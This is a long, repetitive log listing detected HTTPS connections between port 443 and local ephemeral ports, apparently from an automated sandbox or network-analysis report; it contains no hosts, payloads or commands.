Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132

